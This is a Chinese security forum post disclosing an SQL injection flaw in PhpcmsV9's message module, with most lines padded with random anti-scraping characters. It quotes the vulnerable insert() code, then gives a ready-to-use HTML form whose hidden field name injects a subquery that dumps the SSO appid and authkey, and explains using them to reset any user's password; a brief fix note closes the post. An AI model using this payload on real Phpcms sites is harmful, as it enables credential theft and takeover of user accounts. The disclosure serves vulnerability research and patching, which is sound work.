找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2089|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
+ t4 q) m* }. O' [, a/ Y  K) {1 A4 c" l3 q
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
! d4 F3 @/ ^& _
) b2 G. V0 ~  p+ p! y0 r: k明天再更新下一个漏洞。
2 A! ]4 e6 M' b& q8 M详细说明:
1 r$ U4 S% d/ X; Y在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ W: z. m' J0 Z5 H7 c
  M9 X2 o7 t. @: C/ k
$messageid = $this->message_db->insert($_POST['info'],true);2 C9 B! s, `+ M% y: q- n! @1 o1 ~
5 I7 I6 x! d, q4 J, n& t

: g5 ^* _% `' linsert方法是key value的,代码如下:
( ]) B" {) `. D# L' x1 u
! w4 y# Y# p  \, z- D! qpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
5 ~! P% u7 M* P; N7 L+ y) V4 P5 N                if(!is_array( $data ) || $table == '' || count($data) == 0) {
' F: @' H& ^+ N8 ]. Z- ?% a, [. A                        return false;* W7 d8 X5 n+ x1 E; D/ W# p6 ?
                }5 B. G. s$ {. x) _
                4 x2 W7 {; T5 O
                $fielddata = array_keys($data);. G" v* y. o4 q+ g
                $valuedata = array_values($data);
* K4 c: p0 x$ a1 z                array_walk($fielddata, array($this, 'add_special_char'));0 c( G. |% @+ t
                array_walk($valuedata, array($this, 'escape_string'));6 j4 ^/ b4 o4 K( }
                + K3 ]& ?$ m- x  w) j
                $field = implode (',', $fielddata);
& A6 `2 J. `5 w" Z  ^# C: ^# L                $value = implode (',', $valuedata);* S1 X9 c. }, @" ?( {

2 d: E: Q9 N% D7 d6 U                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
) a8 }0 v* x6 a: A& V' I8 K                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! ?0 D& C2 @5 Z8 P1 I& t$ P3 W
                $return = $this->execute($sql);; b4 ?# h: q) s& E+ b; ?9 e* F
                return $return_insert_id ? $this->insert_id() : $return;
8 f) @9 j% Q# C        }
. n: G. T  F2 E$ r8 H8 S+ Q
% t7 E$ E% t4 ]2 R
% Y5 b4 D. y' h2 b+ ~  \嗯,很遗憾的是6 O. P  Z; w* X0 X$ O. a+ i0 L  Z( V
, T! Y0 q& p$ F2 W
array_walk($fielddata, array($this, 'add_special_char'));
5 c8 K# X  n. L; w- L2 _& ?4 t* H
; M2 {4 Y4 ]+ L5 U" d4 m# _5 w" F2 Z7 v: E
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
  r7 l: a4 y* ?1 ]; _! \+ v
9 _  q0 S! q) ?  [. V* \到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。* g2 g: G. h3 c3 {0 ]
: l9 S1 p6 b/ X8 h5 j7 _- ^+ U
漏洞证明:
0 \. Y1 @* p. W8 H读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
2 \% ~: T9 N4 ]9 w
: J- {! u( e; ?# u# g( t+ x5 x. n$ i" x! n# J9 V5 _
表单如下:用户名什么的得自己改一改。+ p; H3 }$ s5 c* K# r. n+ t$ a
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
" o$ K" [5 J' R<table width="100%" cellspacing="0" class="table_form">
: W  t2 l* s4 X( N% ]% i# L<tr>
7 n* G8 [0 u5 ~& |& l/ L<th>标 题:</th>8 P+ J9 E+ Y, {+ |5 _6 K" A
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
0 H) p+ v# P8 e5 R' V</tr> - J1 ?; ^* Q  T& Y  L
<tr>; T( }6 z4 S( }5 B7 K% j
<th>内 容:</th>
3 {7 o! _2 g& Q$ h+ r<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
# [$ i/ r- H+ L) Y! d& K) j5 U</tr>
: g6 T* ~$ M3 x<input type="hidden" name="info[replyid]" value="2" /> ( q) R& f- G, D; o' A' D
<input type="hidden" name="info[send_to_id]" value="cc" />
1 x* w( U& B$ L5 D1 k: G" [<input type="hidden" name="info[send_from_id]" value="hh">/ H$ t' \& X/ M5 e$ X
<!-- 漏洞的利用重点在这里开始 -->
" g4 m; N3 q, n9 p8 o: |5 c) m7 |<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 4 X! W  Z$ x" _. W! X4 A
<!-- 漏洞的利用重点在这里结束 -->
/ w7 ?2 a9 c3 ~/ }+ J5 ^<tr>
7 f/ J: N( p7 ~7 g: B<th>验证码:</th>" E+ e8 u5 g3 h# A; I
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% G# i. C9 h) p0 s9 s</tr>& T4 K( r* E9 Y
<tr>7 {, y8 E: y- I6 Z8 `. c/ w- \
<td></td>
) u* T3 h- M% K; X# S7 \9 l5 W1 a  }<td colspan="2"><label>
% P3 O" U0 ]# ]" Q7 i* E# [<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
% s1 S  m( O) v7 H. r/ D3 e</label></td>
% {/ Q8 [6 H* |0 b. i4 C</tr>! S0 @% D$ l, y6 E1 r* u9 a
</table>8 a% z* o2 }7 A" x# g; m/ v0 ^
</form>
4 n; r& l3 w2 [9 D2 ~, r7 L在add_special_char函数内对key做过滤就可以了。
& z; O( P% D4 M$ i3 W  ]; g; z
& W- u1 `" q7 G& D( D  Q# b6 @1 }! l. f# B
0 T4 B4 J7 H+ T2 [+ @) Y2 y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表